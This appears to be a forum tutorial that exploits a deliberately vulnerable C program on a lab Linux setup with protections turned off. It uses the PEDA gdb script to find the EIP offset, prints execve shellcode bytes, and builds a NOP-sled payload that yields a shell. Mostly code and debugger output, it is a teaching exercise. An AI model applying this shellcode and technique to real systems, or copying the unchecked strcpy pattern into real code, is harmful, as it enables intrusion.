I was going to just do a basic Linux buffer overflow demo but 1) it's from about 2001 and 2) there are gazillions of them around the internet.
So I thought I would do a basic one but introduce peda which is a Python exploit development script that is used with gdb. Thanks to TurboBorland who linked it in IRC, it takes a lot of the donkey-work out of exploit development.
Very basic and somewhat contrived example, assumes no defences typically present in modern compilers and kernels.
No ASLR, DEP, NX and compiled with no stack protection. Also demonstrating the PEDA exploit development
script from
http://code.google.com/p/peda/Enable core dumps, show example "bad" code and compile with debug info and no stack protection and the test it.
demo@cattie-brie:~$ ulimit -c unlimited
demo@cattie-brie:~$ cat buggy.c
#include <stdio.h>
#include <string.h>
int main( int argc, char *argv[])
{
char buffer[16];
if (argc !=2)
{
printf("I need a string !\n\n");
return(-1);
}
strcpy(buffer,argv[1]);
printf("Buffer : %s\n",buffer);
return(0);
}
demo@cattie-brie:~$ gcc buggy.c -o buggy -ggdb -fno-stack-protector
demo@cattie-brie:~$ ./buggy EvilZone!
Buffer : EvilZone!
Let's try with a buffer overflow attempt:
demo@cattie-brie:~$ ./buggy aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Buffer : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
demo@cattie-brie:~$ gdb buggy core.3768
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
[...]
Core was generated by `./buggy aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
gdb-peda$ info reg
eax 0x0 0x0
ecx 0xbffff508 0xbffff508
edx 0xb7fcb360 0xb7fcb360
ebx 0xb7fc9ff4 0xb7fc9ff4
esp 0xbffff550 0xbffff550
ebp 0x61616161 0x61616161
esi 0x0 0x0
edi 0x0 0x0
eip 0x61616161 0x61616161
eflags 0x210296 [ PF AF SF IF RF ID ]
cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
Classic oveflow, we hit eip and ebp points to the overflow string. Next we need to determine what is overwritten at what point,
since the first step we want is to overwrite eip to control execution flow, we need to know at what offset in the overflow string eip
is overwritten with. This is the sort of thing that PEDA helps with, does a lot of the donkey work for us.
First we create a cyclic pattern string and then send it to the buggy program. This is a more sophisticated version of using AAAABBBBCCCC etc to find exactly
where an overflow occurs.
demo@cattie-brie:~$ gdb buggy
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
[...]
Reading symbols from /home/demo/buggy...done.
gdb-peda$ pset arg 'cyclic_pattern(128)'
gdb-peda$ show arg
Argument list to give program being debugged when it is started is "'A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-'".
gdb-peda$ r
Buffer : A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fc9ff4 --> 0x154d7c
ECX: 0xbffff498 --> 0xb7fca4e0 --> 0xfbad2a84
EDX: 0xb7fcb360 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41332541 ('A%3A')
ESP: 0xbffff4e0 ("5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
EIP: 0x25413425 ('%4A%')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x25413425
[------------------------------------stack-------------------------------------]
0000| 0xbffff4e0 ("5A%6A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0004| 0xbffff4e4 ("A%7A%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0008| 0xbffff4e8 ("%8A%9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0012| 0xbffff4ec ("9A$sA$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0016| 0xbffff4f0 ("A$nA$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0020| 0xbffff4f4 ("$(A$)A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0024| 0xbffff4f8 (")A$;A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
0028| 0xbffff4fc ("A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;A-0A-1A-2A-3A-4A-5A-6A-")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x25413425 in ?? ()
gdb-peda$ pattern_search
Registers contain pattern buffer
EIP+0 found at offset: 28
EBP+0 found at offset: 24
Registers point to pattern buffer
[ESP] points to pattern offset: 32
Start of pattern buffer "A%sA" found at:
0xb7fdf009 (mapped)
0xbffff4c0 : $sp + -0x20 (-8 dwords)
0xbffff6e9 : $sp + 0x209 (130 dwords)
References to start of pattern buffer "A%sA" found at:
0xbffff4b4 : $sp + -0x2c (-11 dwords)
0xbffff588 : $sp + 0xa8 (42 dwords)
Important thing here is the line: EIP+0 found at offset: 28
This tells us that eip overwrite is at 28 bytes into the overflow string.
Next we choose a payload, as a demo it's simply a standard /bin/sh one which we choose then make.
gdb-peda$ shellcode
Available shellcodes:
x86/bsd bindport
x86/bsd connect
x86/bsd exec
x86/linux bindport
x86/linux connect
x86/linux exec
gdb-peda$ shellcode x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
In this case I am using an old execve /bin/bash shell as the one above didn't work so well on my system:
"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
gdb-peda$ python
>shellcode = (
> "\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
>)
>end
Next we create a new overflow string based on what we know:
[28 bytes padding][eip][some bytes NOP padding][shellcode]
Choosing an initial value of "XXXX" as eip and picking a NOP (0x90) padding of 256 bytes we try again.
gdb-peda$ pset arg '"A"*28 + "XXXX" + "\x90"*256 + shellcode'
gdb-peda$ r
Buffer : AAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?Ph//shh/bin??1??j
X?
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fc9ff4 --> 0x154d7c
ECX: 0xbffff3e8 --> 0xb7fca4e0 --> 0xfbad2a84
EDX: 0xb7fcb360 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff430 --> 0x90909090
EIP: 0x58585858 ('XXXX')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x58585858
[------------------------------------stack-------------------------------------]
0000| 0xbffff430 --> 0x90909090
0004| 0xbffff434 --> 0x90909090
0008| 0xbffff438 --> 0x90909090
0012| 0xbffff43c --> 0x90909090
0016| 0xbffff440 --> 0x90909090
0020| 0xbffff444 --> 0x90909090
0024| 0xbffff448 --> 0x90909090
0028| 0xbffff44c --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x58585858 in ?? ()
We can see the NOP padding on the stack, picking the address 0xbffff44c from the line:
0028| 0xbffff44c --> 0x90909090
for eip we choose this as our "landing spot" for execution flow. We can't have any 0s in the address as since C uses NULL terminated
strings, the strcpy() we are overflowing would fail. Also note the "XXXX" value for eip showing we have the right offset to overwrite.
gdb-peda$ pset arg '"A"*28 + int2hexstr(0xbffff44c) + "\x90"*256 + shellcode'
gdb-peda$ r
Buffer : AAAAAAAAAAAAAAAAAAAAAAAAAAAAL????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????Rhn/shh//bi??RS???
process 4053 is executing new program: /bin/bash
sh-4.1$
sh-4.1$ exit
exit
There we go, shell.